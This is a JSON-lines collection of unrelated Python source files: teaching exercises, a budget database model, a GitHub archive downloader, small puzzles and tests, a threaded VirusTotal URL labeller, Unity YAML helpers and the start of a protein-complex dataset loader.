+{"seq_id":"17196258","text":"# Napisz program, który symuluje w trybie tekstowym obsługę klienta w sklepie.\n# Program w pętli pozwala podać nazwę oraz ilość towaru. (np. klient moż kupić 2 praki i odkurzacz)\n# Wprowadzanie danych kończymy pustym stringiem\n\n# Program na końcu wypisuje sumę do zapłaty za wszystko\n# Fajnie by było, gdyby program był odbporny na błędy io np. dla nieistniejącego towaru wypisywał komunikat, ale działał dalej\n\n# 1) Program wypisuje cennik\n# 2) Podaj nazwę towaru: pralka (puste oznacza koniec)\n# 3) Podaj ilość: 2\n# goto 2)\n\n# 4) Za wszsytko zapłacisz 1240\n\ncennik = {\n 'pralka': 2800,\n 'odkurzacz': 690,\n 'kuchenka': 3500,\n}\n\nfor towar, cena in cennik.items():\n print(f' * {towar:12} za {cena:5} zł')\nprint()\n\nsuma = 0\nwhile True:\n towar = input('Podaj nazwę towaru (puste aby zakończyć)?: ')\n if not towar:\n break # jeśli str jest pusty\n if towar not in cennik:\n print('Nie ma takiego towaru')\n continue\n # nie muszę pisać else\n ilosc = int(input('Ile sztuk?: '))\n do_zaplaty = ilosc * cennik[towar]\n suma += do_zaplaty\n print(f'Za {ilosc} sztuk towaru {towar} zapłacisz {do_zaplaty} zł')\n\nprint(f'Za wszystkie towary łącznie zapłacisz {suma} zł')\n","sub_path":"python3days/p04_kolekcje/sklep1.py","file_name":"sklep1.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"21089430","text":"from sqlalchemy import Column, Integer, String, DateTime, JSON\nfrom core.db_style.db import Base\n\n\n\nclass Budget(Base):\n __tablename__ = 'budget'\n\n id = Column(Integer, primary_key=True, unique=True)\n operation_time = Column(DateTime)\n category = Column(String)\n outcome_euro = Column(Integer)\n outcome_cent = Column(Integer)\n income_euro = Column(Integer)\n income_cent = Column(Integer)\n comment = Column(String)\n additional_info = Column(JSON)\n\n def __init__(self, operation_time, category, outcome_euro, outcome_cent,\n income_cent, income_euro, comment, additional_info):\n self.operation_time = operation_time\n self.category = category\n self.outcome_euro = outcome_euro\n self.outcome_cent = outcome_cent\n self.income_euro = income_euro\n self.income_cent = income_cent\n self.comment = comment\n self.additional_info = additional_info\n\n","sub_path":"core/db_style/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"58809378","text":"import os\nimport tempfile\nimport urllib.request\nimport zipfile\nimport json\nimport eel\nimport time\nfrom pathlib import Path\nfrom shutil import rmtree\n\n\ndef download_and_extract_zip(download_url: str, local_folder_path: Path,\n clobber: bool = False, progress_callback: callable = None,\n unzip_callback: callable = None):\n \"\"\"\n :param clobber: If true, we will delete anything found in local_folder_path.\n :return:\n \"\"\"\n\n with tempfile.TemporaryDirectory() as tmpdirname:\n downloaded_zip_path = os.path.join(tmpdirname, 'downloaded.zip')\n urllib.request.urlretrieve(download_url, downloaded_zip_path, progress_callback)\n\n if clobber and os.path.exists(local_folder_path):\n rmtree(local_folder_path)\n\n if unzip_callback:\n unzip_callback()\n\n with zipfile.ZipFile(downloaded_zip_path, 'r') as zip_ref:\n zip_ref.extractall(local_folder_path)\n\n\ndef get_json_from_url(url):\n response = urllib.request.urlopen(url)\n return json.loads(response.read())\n\n\ndef get_repo_size(repo_full_name):\n \"\"\"\n Call GitHub API to get an estimate size of a GitHub repository.\n :param repo_full_name: Full name of a repository. Example: 'RLBot/RLBotPack'\n :return: Size of the repository in bytes, or 0 if the API call fails.\n \"\"\"\n try:\n data = get_json_from_url('https://api.github.com/repos/' + repo_full_name)\n return int(data[\"size\"]) * 1000\n except:\n return 0\n\n\nclass BotpackDownloader:\n \"\"\"\n Downloads the botpack while updating the progress bar and status text.\n \"\"\"\n\n PROGRESSBAR_UPDATE_INTERVAL = 0.1 # How often to update the progress bar (seconds)\n\n def __init__(self):\n self.status = ''\n self.total_progress = 0\n\n self.estimated_zip_size = 0\n self.downloaded_bytes = 0\n self.last_progressbar_update_time = 0\n\n def update_progressbar_and_status(self):\n # it's not necessary to update on every callback, so update\n # only when some amount of time has passed\n now = time.time()\n if now > self.last_progressbar_update_time + self.PROGRESSBAR_UPDATE_INTERVAL:\n self.last_progressbar_update_time = now\n\n total_progress_percent = int(self.total_progress * 100)\n status = f'{self.status} ({total_progress_percent}%)'\n\n eel.updateDownloadProgress(total_progress_percent, status)\n\n def zip_download_callback(self, block_count, block_size, _):\n self.downloaded_bytes += block_size\n self.total_progress = min(self.downloaded_bytes / self.estimated_zip_size, 1.0)\n self.update_progressbar_and_status()\n\n def unzip_callback(self):\n eel.updateDownloadProgress(100, 'Extracting ZIP file')\n\n def download(self, repo_owner: str, repo_name: str, branch_name: str, checkout_folder: Path):\n repo_full_name = repo_owner + '/' + repo_name\n repo_url = 'https://github.com/' + repo_full_name\n\n self.status = f'Downloading {repo_full_name}-{branch_name}'\n print(self.status)\n self.total_progress = 0\n\n # Unfortunately we can't know the size of the zip file before downloading it,\n # so we have to get the size from the GitHub API.\n self.estimated_zip_size = get_repo_size(repo_full_name) * 0.5\n\n # If we fail to get the repo size, set it to a fallback value,\n # so the progress bar will show atleast some progress.\n # Let's assume the zip file is around 15 MB.\n if self.estimated_zip_size == 0:\n self.estimated_zip_size = 15_000_000\n\n download_and_extract_zip(download_url=repo_url + '/archive/' + branch_name + '.zip',\n local_folder_path=checkout_folder,\n clobber=True,\n progress_callback=self.zip_download_callback,\n unzip_callback=self.unzip_callback)\n","sub_path":"rlbot_gui/bot_management/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"304216233","text":"__author__ = 'Arabella Brayer'\n__date__ = '10-07-2015'\n\nfrom Dominos import Dominos\n\n# Dans ce projet, l'idée est de créer une liste de dominos en partant d'un premier.\n# ça ressemble cruellement au projet raté que j'ai fait en première année\n# et j'aimerais ajouter un menu graphique + une résolution graphique.\n# j'ai rien fait en graph... maintenant, j'en ai besoin.\n\n\ndef main():\n dominos = Dominos() # doit créer un objet Dominos, avec 28 paires de dominos...\n dominos.display()\n first = dominos.getHead() # prend le premier domino et doit créer la liste ordonnée depuis celui-là\n # # alternative :\n # print(dominos.displayList())\n # first = dominos.getThisDomino(0,0) # récupère le 0,0. Attention au sens ;)\n # print(first) # on veut savoir lequel a été choisi\n # dominos.solve(first)\n # print(dominos.displayList())\n\nif __name__ == \"__main__\":\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"150400655","text":"import collections\n\nclass Anagram(object):\n\tdef __init__(self, word):\n\t\t# _word is the normalized version of word.\n\t\tword = word or \"\"\n\t\tself._word = word.lower()\n\t\t# _char_count is a dict containing the count of each character in _word.\n\t\tself._char_count = collections.Counter(self._word)\n\n\tdef match(self, strings):\n\t\t# The following code works in Python 2 but not Python 3.\n\t\t#\n\t\t#\treturn filter(self._is_anagram, strings)\n\t\t#\n\t\t# I don't perticularly like the syntax of list comprehension, but I guess\n\t\t# it's one of those things you simple get used to after a while. Any other\n\t\t# suggestions on a short version that works in both? :)\n\t\t#\n\t\t#\treturn [string for string in strings if self._is_anagram(string)]\n\n\t\tmatches = []\n\t\tfor string in strings:\n\t\t\tif self._is_anagram(string):\n\t\t\t\tmatches.append(string)\n\t\treturn matches\n\n\tdef _is_anagram(self, string):\n\t\tif len(string) != len(self._word):\n\t\t\t# Length differ, thus string cannot be an anagram.\n\t\t\treturn False\n\t\ts = string.lower()\n\t\tif s == self._word:\n\t\t\t# Anagrams should differ from the original word.\n\t\t\treturn False\n\t\t# char_count is a dict containing the count of each character in s.\n\t\tchar_count = collections.defaultdict(int)\n\t\tfor c in s:\n\t\t\tif not c in self._char_count:\n\t\t\t\t# If the character c isn't present in _char_count s cannot be\n\t\t\t\t# an anagram of _word.\n\t\t\t\treturn False\n\t\t\tchar_count[c] += 1\n\t\tif self._char_count == char_count:\n\t\t\treturn True\n\t\treturn False\n","sub_path":"all_data/exercism_data/python/anagram/4e6c06c3a90f412ea74eb3ef49621621.py","file_name":"4e6c06c3a90f412ea74eb3ef49621621.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"525247712","text":"class App():\n __instance = None\n\n @staticmethod\n def get_instance():\n if App.__instance is None:\n App.__instance = App()\n return App.__instance\n\n\nprint(App.get_instance(), App.get_instance())\n\n# ----------------------------------\n\nfrom unittest import TestCase\n\n\nclass MyTest(TestCase):\n def test_singleton(self):\n first = App()\n second = App()\n self.assertEqual(first, second)\n\n\n","sub_path":"singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"247621611","text":"\"\"\"\nThere is a secret string which is unknown to you. Given a collection\nof random triplets from the string, recover the original string.\n\nA triplet here is defined as a sequence of three letters such that\neach letter occurs somewhere before the next in the given string. \"whi\"\nis a triplet for the string \"whatisup\".\n\nAs a simplification, you may assume that no letter occurs more than once in the secret string.\n\nYou can assume nothing about the triplets given to you other than that they\nare valid triplets and that they contain sufficient information to deduce the\noriginal string. In particular, this means that the secret string will never\ncontain letters that do not occur in one of the triplets given to you.\n\"\"\"\n\n\ndef recoverSecret(triplets):\n word = list({array[x] for x in range(3) for array in triplets})\n while True:\n cont = 0\n for arr in triplets:\n a = word.index(arr[0])\n b = word.index(arr[1])\n c = word.index(arr[2])\n if a > b or b > c:\n cont += 1\n a, b, c = sorted([a, b, c])\n word[a], word[b], word[c] = arr[0], arr[1], arr[2]\n if cont == 0:\n return ''.join(word)\n\n","sub_path":"recover_string.py","file_name":"recover_string.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"624563323","text":"import pytest\n\nimport ucp\n\n\ndef test_set_read():\n obj = memoryview(b'hi')\n buffer_region = ucp.BufferRegion.from_buffer(obj)\n res = memoryview(buffer_region)\n assert bytes(res) == bytes(obj)\n assert res.tobytes() == obj.tobytes()\n\n # our properties\n assert buffer_region.is_cuda == 0\n assert buffer_region.shape[0] == 2\n\n\n@pytest.mark.parametrize(\"dtype\", [\"u1\", \"u8\", \"i1\", \"i8\", \"f4\", \"f8\"])\n@pytest.mark.parametrize(\"data\", [True, False])\ndef test_numpy(dtype, data):\n np = pytest.importorskip(\"numpy\")\n arr = np.ones(10, dtype)\n\n buffer_region = ucp.BufferRegion.from_buffer(arr)\n result = np.asarray(buffer_region)\n np.testing.assert_array_equal(result, arr)\n\n\n@pytest.mark.parametrize(\"dtype\", [\"u1\", \"u8\", \"i1\", \"i8\", \"f4\", \"f8\"])\ndef test_cupy(dtype):\n cupy = pytest.importorskip(\"cupy\")\n arr = cupy.ones(10, dtype)\n\n buffer_region = ucp.BufferRegion.from_buffer(arr)\n\n result = cupy.asarray(buffer_region)\n cupy.testing.assert_array_equal(result, arr)\n\n\ndef test_numba_empty():\n numba = pytest.importorskip(\"numba\")\n import numba.cuda # noqa\n\n arr = numba.cuda.device_array(0)\n br = ucp.BufferRegion.from_buffer(arr)\n\n assert len(br) == 0\n assert br.__cuda_array_interface__[\"data\"][0] == 0\n","sub_path":"tests/test_buffer_region.py","file_name":"test_buffer_region.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"454383037","text":"#!/usr/bin/python\n#coding:utf-8\n\n# 2013/03/23\n\n\nimport matplotlib\nmatplotlib.interactive( True )\nmatplotlib.use( 'WXAgg' )\n\nimport wx\n\napp = wx.App()\nframe = wx.Frame( None, size=(500,500) )\n\nfrom matplotlib.backends.backend_wxagg import FigureCanvasWxAgg\nfrom matplotlib.figure import Figure\n \npanel = wx.Panel(frame)\n\n#matplotlib figure\nfigure = Figure( None )\nfigure.set_facecolor( (0.7,0.7,1.) )\nsubplot = figure.add_subplot( 111 )\n#canvas\ncanvas = FigureCanvasWxAgg( panel, -1, figure )\ncanvas.SetBackgroundColour( wx.Color( 100,255,255 ) )\n\nimport networkx as nx\nG = nx.DiGraph()\nedges = [(7,1),(7,2),(1,0),(2,0),(3,0),(0,4),(0,5),(0,6),(4,8),(5,9)]\nG.add_edges_from(edges)\npos = {7:(300,300),1:(280,250),2:(320,250),3:(360,250),0:(320,200),4:(280,150),5:(320,150),6:(360,150),8:(240,100),9:(320,100)}\nG.add_node(0,title='yahoo',abst=u'abst',year=2000,num_quotation=0)\nG.add_node(1,title='google',abst=u'abst',year=2001,num_quotation=1)\nG.add_node(2,title='entertainment',abst=u'abst',year=2002,num_quotation=2)\nG.add_node(3,title='kics',abst=u'abst',year=2003,num_quotation=3)\nG.add_node(4,title='ikeda',abst=u'abst',year=2004,num_quotation=4)\nG.add_node(5,title='yahoo',abst=u'abst',year=2005,num_quotation=5)\nG.add_node(6,title='yahoo',abst=u'abst',year=2006,num_quotation=6)\nG.add_node(7,title='yahoo',abst=u'abst',year=2007,num_quotation=7)\nG.add_node(8,title='yahoo',abst=u'abst',year=2008,num_quotation=8)\nG.add_node(9,title='yahoo',abst=u'abst',year=2009,num_quotation=9)\n\nnx.draw(G,pos=pos,hold=True)\n\n\n\nsize = tuple( frame.GetClientSize() )\npanel.SetSize( size )\ncanvas.SetSize( size )\nfigure.set_size_inches( float( size[0] )/figure.get_dpi(),float( size[1] )/figure.get_dpi() )\n'''\nimport numpy as np\ntheta = np.arange(0,200, 0.1)\nx = 2*np.cos(theta/7)\ny = 3*np.sin(theta/3)\nsubplot.plot(x,y, '-r')\nsubplot.set_title(\"Sample\", fontsize = 12)\nsubplot.set_xlabel(\"x\")\nsubplot.set_ylabel(\"y\")\nsubplot.set_xlim([-4, 4])\nsubplot.set_ylim([-4, 4])\n'''\n#nx.draw(G,pos)\n\n\nframe.Show()\napp.MainLoop()\n\n","sub_path":"3rd_party/wx/sample6.py","file_name":"sample6.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"349828822","text":"import threading\n\nclass ViruTotalThread(threading.Thread):\n def __init__(self,virustotal,queue,queue_result,counter):\n threading.Thread.__init__(self)\n self.scanner=virustotal\n self.que=queue\n self.que_result=queue_result\n self.counter=counter\n #print(\"线程启动\")\n\n def run(self):\n while not self.que.empty():\n index=self.que.qsize()\n print(\"正在扫描第\",index,\"个url\")\n url=self.que.get(timeout=5)\n result=self.scanner.label(url)\n if not result:\n print(\"网络有问题,线程关闭。\")\n self.que.put(url,timeout=5)\n self.que_result.put({\"url\":url,\"malicious\":0,\"suspicious\":0,\"state\":0})\n return False\n self.que_result.put({\"url\":url,\"malicious\":result['malicious'],\"suspicious\":result['suspicious'],\"state\":1})\n self.counter = self.counter - 1\n print(\"第\",index,\"个url扫描完毕\",\"还剩下\",self.counter,\"个url需要扫描\")\n print(\"扫描完毕,线程关闭\")\n return True\n","sub_path":"mad-test/DataLabeler/VirusTotalThread.py","file_name":"VirusTotalThread.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"548845993","text":"import unittest\nimport numpy as np\nfrom agilegeo.util import next_pow2, rms, noise_db\n\n\nclass UtilityTest(unittest.TestCase):\n\n def test_nextpow2(self):\n num = 888\n ans = 1024\n\n self.assertEqual(ans, next_pow2(num))\n\n\n def test_rms(self):\n l = np.array([2,3,4.5])\n ans = 3.329164\n\n self.assertAlmostEqual( ans, rms( l ), places=5 )\n\n\n def noise_db( self ):\n a = np.ones(1000000)\n ans10p = 3.32\n ans0 = 1.41\n ans10n = 1.05\n\n self.assertAlmostEqual( ans10p, noise_db( a, 10 ), places=2 )\n self.assertAlmostEqual( ans0, noise_db( a, 10 ), places=2 )\n self.assertAlmostEqual( ans10n, noise_db( a, -10 ), places=2 )\n\n\nif __name__ == '__main__':\n\n suite = unittest.TestLoader().loadTestsFromTestCase(UtilityTest)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","sub_path":"agilegeo/util/test/utility_test.py","file_name":"utility_test.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"186133841","text":"import yaml\n\nfrom .dumper import UnityDumper\nfrom .errors import UnityDocumentError\nfrom .loader import UnityLoader\n\nUNIX_LINE_ENDINGS = '\\n'\n\n\nclass UnityDocument:\n\n def __init__(self, data, newline=None, file_path=None):\n self.newline = newline\n self.data = data\n self.file_path = file_path\n\n @property\n def entry(self):\n # as many documents contain a single document entry, this might be handy\n return self.data[0]\n\n @property\n def entries(self):\n return self.data\n\n def dump_yaml(self, file_path=None):\n \"\"\"\n :param file_path: If self.file_path is None, it must be passed\n :type file_path:\n :return:\n :rtype:\n \"\"\"\n file_path = file_path or self.file_path\n assert_or_raise(file_path is not None, UnityDocumentError(\"file_path parameter must be passed\"))\n with open(file_path, 'w', newline=self.newline) as fp:\n yaml.dump_all(self.data, stream=fp, Dumper=UnityDumper)\n\n @classmethod\n def load_yaml(cls, file_path):\n with open(file_path, newline='') as fp:\n data = [d for d in yaml.load_all(fp, Loader=UnityLoader)]\n # use document line endings if no mixed lien endings found, else default to linux\n line_endings = UNIX_LINE_ENDINGS if isinstance(fp.newlines, tuple) else fp.newlines\n doc = UnityDocument(data, newline=line_endings, file_path=file_path)\n return doc\n\n # region Filtering\n\n def filter(self, class_names=None, attributes=None):\n \"\"\"\n Filter a group of entries\n :param class_names: iterable of class names to filter\n :type class_names:\n :param attributes: iterable of attribute names that classes must have to be selected\n :type attributes:\n :return: list entries selected\n :rtype:\n \"\"\"\n entries = self.entries\n if class_names:\n s_class_names = set(class_names)\n entries = filter(lambda x: x.__class__.__name__ in s_class_names, entries)\n if attributes:\n s_attributes = set(attributes)\n entries = filter(lambda x: s_attributes <= x.get_attrs(), entries)\n return list(entries)\n\n def get(self, class_name=None, attributes=None):\n \"\"\"\n Filter a single entry. Only, and at least one must exist else it will except\n :param class_name: a class name to get\n :type class_name:\n :param attributes: iterable of attribute names that define the unique entry\n :type attributes:\n :return: a single entry\n :rtype:\n \"\"\"\n if class_name:\n t_class_name = (class_name,)\n else:\n t_class_name = tuple()\n entries = self.filter(class_names=t_class_name, attributes=attributes)\n assert_or_raise(len(entries) > 0, UnityDocumentError(\"get method must return on entry. none found\"))\n assert_or_raise(len(entries) == 1, UnityDocumentError(\"get method must return on entry. multiple found\"))\n return entries[0]\n\n # endregion\n\n\ndef assert_or_raise(condition, exception):\n if not condition:\n raise exception\n","sub_path":"unityparser/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"377367510","text":"# coding: UTF-8\r\n'''\r\nCreated on 2013/09/10\r\n\r\n@author: lui\r\n'''\r\nimport sys\r\n\r\ndef run():\r\n # Code here!\r\n X = f.readline().strip()\r\n list = [int(s) for s in f.readline().split()] # 数字で入力を受け取り、リストに格納\r\n\r\n # 要素数の確認\r\n if len(list) != int(X):\r\n return 1\r\n \r\n # 0が単数で存在するか確認\r\n for i in list:\r\n if i == 0:\r\n print(\"zero\")\r\n return 0\r\n \r\n # 指定範囲内の合計値が0か確認\r\n for i in range(1, len(list)+1):\r\n for j in range(0,i):\r\n #print(\"i = %d, j = %d, sum = %d\" % (i, j, sum(list[j:i])))\r\n #print(list[j:i])\r\n if sum(list[j:i]) == 0:\r\n print(\"zero\")\r\n return 0\r\n \r\n # 0が存在せず\r\n print(\"nonzero\")\r\n return 1\r\n\r\n pass\r\n\r\nargvs = sys.argv\r\nf = open(argvs[1])\r\nfor i in range(int(f.readline())):\r\n run()\r\nf.close\r\n\r\n\r\n'''\r\n■HackerMeterに提出したコード\r\nimport sys\r\n\r\ndef run():\r\n # Code here!\r\n X = sys.stdin.readline().strip()\r\n list = [int(s) for s in sys.stdin.readline().split()]\r\n\r\n if len(list) != int(X):\r\n return 1\r\n\r\n for i in list:\r\n if i == 0:\r\n print(\"zero\")\r\n return 0\r\n\r\n for i in range(1, len(list)+1):\r\n for j in range(0, i):\r\n if sum(list[j:i]) == 0:\r\n print(\"zero\")\r\n return 0\r\n\r\n print(\"nonzero\")\r\n return 1\r\n\r\n pass\r\n\r\nfor i in range(int(sys.stdin.readline())):\r\n run()\r\n'''","sub_path":"house and lab joint ownership/HackerMeter/src/subtlesummation.py","file_name":"subtlesummation.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"483331859","text":"input_file = open('inputd5.txt', 'r')\nlines = input_file.readlines()\nhighestId = 0\nlowestId = 0\nseats = []\n\nfor line in lines:\n row = 0\n column = 0\n for i in range(0, 7):\n chr = line[i]\n offset = 6 - i\n bit = -1\n if chr == \"F\":\n bit = 0\n else:\n bit = 1\n row += (bit << offset)\n for i in range(7, 10):\n chr = line[i]\n offset = 2 - (i % 7)\n bit = 0\n if chr == \"L\":\n bit = 0\n else:\n bit = 1\n column += (bit << offset)\n currentId = row * 8 + column\n if currentId > highestId:\n highestId = currentId\n seats.append(currentId)\n\nprint(highestId)\nseats.sort()\nlowestId = seats[0]\nfor num in range(lowestId, highestId):\n if not num in seats:\n print(num)","sub_path":"D5/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"44096668","text":"import os\nimport pickle\n\nimport pandas as pd\nfrom dgl.data import DGLDataset, download, check_sha1\n\nfrom project.utils.utils import construct_filenames_frame_txt_filenames, \\\n build_filenames_frame_error_message, process_complex_into_dict, zero_out_complex_features\n\n\nclass DB5DGLDataset(DGLDataset):\n r\"\"\"Unbound protein complex dataset for DGL with PyTorch.\n\n Statistics:\n\n - Train examples: 140\n - Validation examples: 35\n - Test examples: 55\n - Number of structures per complex: 2\n ----------------------\n - Total examples: 230\n ----------------------\n\n Parameters\n ----------\n mode: str, optional\n Should be one of ['train', 'val', 'test']. Default: 'train'.\n raw_dir: str\n Raw file directory to download/contains the input data directory. Default: 'final/raw'.\n knn: int\n How many nearest neighbors to which to connect a given node. Default: 20.\n self_loops: bool\n Whether to connect a given node to itself. Default: True.\n percent_to_use: float\n How much of the dataset to load. Default: 1.0.\n process_complexes: bool\n Whether to process each unprocessed complex as we load in the dataset. Default: True.\n input_indep: bool\n Whether to zero-out each input node and edge feature for an input-independent baseline. Default: False.\n force_reload: bool\n Whether to reload the dataset. Default: False.\n verbose: bool\n Whether to print out progress information. Default: False.\n\n Notes\n -----\n All the samples will be loaded and preprocessed in the memory first.\n\n Examples\n --------\n >>> # Get dataset\n >>> train_data = DB5DGLDataset()\n >>> val_data = DB5DGLDataset(mode='val')\n >>> test_data = DB5DGLDataset(mode='test')\n >>>\n >>> len(test_data)\n 55\n >>> test_data.num_chains\n 2\n \"\"\"\n\n def __init__(self,\n mode='test',\n raw_dir=f'final{os.sep}raw',\n knn=20,\n self_loops=True,\n percent_to_use=1.0,\n process_complexes=True,\n input_indep=False,\n force_reload=False,\n verbose=False):\n assert mode in ['train', 'val', 'test']\n assert 0.0 < percent_to_use <= 1.0\n self.mode = mode\n self.root = raw_dir\n self.knn = knn\n self.self_loops = self_loops\n self.percent_to_use = percent_to_use # How much of the DB5 dataset to use\n self.process_complexes = process_complexes # Whether to process any unprocessed complexes before training\n self.input_indep = input_indep # Whether to use an input-independent pipeline to train the model\n self.final_dir = os.path.join(*self.root.split(os.sep)[:-1])\n self.processed_dir = os.path.join(self.final_dir, 'processed')\n\n self.filename_sampling = 0.0 < self.percent_to_use < 1.0\n self.base_txt_filename, self.filenames_frame_txt_filename, self.filenames_frame_txt_filepath = \\\n construct_filenames_frame_txt_filenames(self.mode, self.percent_to_use, self.filename_sampling, self.root)\n\n # Try to load the text file containing all DB5 filenames, and alert the user if it is missing or corrupted\n filenames_frame_to_be_written = not os.path.exists(self.filenames_frame_txt_filepath)\n\n # Randomly sample DataFrame of filenames with requested cross validation ratio\n if self.filename_sampling:\n if filenames_frame_to_be_written:\n try:\n self.filenames_frame = pd.read_csv(\n os.path.join(self.root, self.base_txt_filename + '.txt'), header=None)\n except Exception:\n raise FileNotFoundError(\n build_filenames_frame_error_message('DB5-Plus', 'load', self.filenames_frame_txt_filepath))\n self.filenames_frame = self.filenames_frame.sample(frac=self.percent_to_use).reset_index()\n try:\n self.filenames_frame[0].to_csv(self.filenames_frame_txt_filepath, header=None, index=None)\n except Exception:\n raise Exception(\n build_filenames_frame_error_message('DB5-Plus', 'write', self.filenames_frame_txt_filepath))\n\n # Load in existing DataFrame of filenames as requested (or if a sampled DataFrame .txt has already been written)\n if not filenames_frame_to_be_written:\n try:\n self.filenames_frame = pd.read_csv(self.filenames_frame_txt_filepath, header=None)\n except Exception:\n raise FileNotFoundError(\n build_filenames_frame_error_message('DB5-Plus', 'load', self.filenames_frame_txt_filepath))\n\n super(DB5DGLDataset, self).__init__(name='DB5-Plus',\n raw_dir=raw_dir,\n force_reload=force_reload,\n verbose=verbose)\n print(f\"Loaded DB5-Plus {mode}-set, source: {self.processed_dir}, length: {len(self)}\")\n\n def download(self):\n \"\"\"Download and extract a pre-packaged version of the raw pairs if 'self.raw_dir' is not already populated.\"\"\"\n # Path to store the file\n gz_file_path = os.path.join(os.path.join(*self.raw_dir.split(os.sep)[:-1]), 'final_raw_db5.tar.gz')\n\n # Download file\n download(self.url, path=gz_file_path)\n\n # Check SHA-1\n if not check_sha1(gz_file_path, self._sha1_str):\n raise UserWarning('File {} is downloaded but the content hash does not match.'\n 'The repo may be outdated or download may be incomplete. '\n 'Otherwise you can create an issue for it.'.format(gz_file_path))\n\n # Remove existing raw directory to make way for the new archive to be extracted\n if os.path.exists(self.raw_dir):\n os.removedirs(self.raw_dir)\n\n # Extract archive to parent directory of `self.raw_dir`\n self._extract_gz(gz_file_path, os.path.join(*self.raw_dir.split(os.sep)[:-1]))\n\n def process(self):\n \"\"\"Process each protein complex into a testing-ready dictionary representing both structures.\"\"\"\n if self.process_complexes:\n # Ensure the directory of processed complexes is already created\n os.makedirs(self.processed_dir, exist_ok=True)\n # Process each unprocessed protein complex\n for (i, raw_path) in self.filenames_frame.iterrows():\n raw_filepath = os.path.join(self.raw_dir, f'{os.path.splitext(raw_path[0])[0]}.dill')\n processed_filepath = os.path.join(self.processed_dir, f'{os.path.splitext(raw_path[0])[0]}.dill')\n if not os.path.exists(processed_filepath):\n processed_parent_dir_to_make = os.path.join(self.processed_dir, os.path.split(raw_path[0])[0])\n os.makedirs(processed_parent_dir_to_make, exist_ok=True)\n process_complex_into_dict(raw_filepath, processed_filepath, self.knn,\n self.self_loops, self.mode)\n\n def has_cache(self):\n \"\"\"Check if each complex is downloaded and available for training, validation, or testing.\"\"\"\n for (i, raw_path) in self.filenames_frame.iterrows():\n processed_filepath = os.path.join(self.processed_dir, f'{os.path.splitext(raw_path[0])[0]}.dill')\n if not os.path.exists(processed_filepath):\n print(\n f'Unable to load at least one processed DB5 pair. '\n f'Please make sure all processed pairs have been successfully downloaded and are not corrupted.')\n raise FileNotFoundError\n print('DB5 cache found') # Otherwise, a cache was found!\n\n def __getitem__(self, idx):\n r\"\"\" Get feature dictionary by index of complex.\n\n Parameters\n ----------\n idx : int\n\n Returns\n -------\n :class:`dict`\n\n - ``complex['graph1_node_feats']:`` PyTorch Tensor containing each of the first graph's encoded node features\n - ``complex['graph2_node_feats']``: PyTorch Tensor containing each of the second graph's encoded node features\n - ``complex['graph1_node_coords']:`` PyTorch Tensor containing each of the first graph's node coordinates\n - ``complex['graph2_node_coords']``: PyTorch Tensor containing each of the second graph's node coordinates\n - ``complex['graph1_edge_feats']:`` PyTorch Tensor containing each of the first graph's edge features for each node\n - ``complex['graph2_edge_feats']:`` PyTorch Tensor containing each of the second graph's edge features for each node\n - ``complex['graph1_nbrhd_indices']:`` PyTorch Tensor containing each of the first graph's neighboring node indices\n - ``complex['graph2_nbrhd_indices']:`` PyTorch Tensor containing each of the second graph's neighboring node indices\n - ``complex['examples']:`` PyTorch Tensor containing the labels for inter-graph node pairs\n - ``complex['complex']:`` Python string describing the complex's code and original pdb filename\n \"\"\"\n # Assemble filepath of processed protein complex\n complex_filepath = f'{os.path.splitext(self.filenames_frame[0][idx])[0]}.dill'\n processed_filepath = os.path.join(self.processed_dir, complex_filepath)\n\n # Load in processed complex\n with open(processed_filepath, 'rb') as f:\n processed_complex = pickle.load(f)\n processed_complex['filepath'] = complex_filepath # Add filepath to each complex dictionary\n\n # Optionally zero-out input data for an input-independent pipeline (per Karpathy's suggestion)\n if self.input_indep:\n processed_complex = zero_out_complex_features(processed_complex)\n\n # Manually filter for desired node and edge features\n # n_feat_idx_1, n_feat_idx_2 = 43, 85 # HSAAC\n # processed_complex['graph1'].ndata['f'] = processed_complex['graph1'].ndata['f'][:, n_feat_idx_1: n_feat_idx_2]\n # processed_complex['graph2'].ndata['f'] = processed_complex['graph2'].ndata['f'][:, n_feat_idx_1: n_feat_idx_2]\n\n # g1_rsa = processed_complex['graph1'].ndata['f'][:, 35: 36].reshape(-1, 1) # RSA\n # g1_psaia = processed_complex['graph1'].ndata['f'][:, 37: 43] # PSAIA\n # g1_hsaac = processed_complex['graph1'].ndata['f'][:, 43: 85] # HSAAC\n # 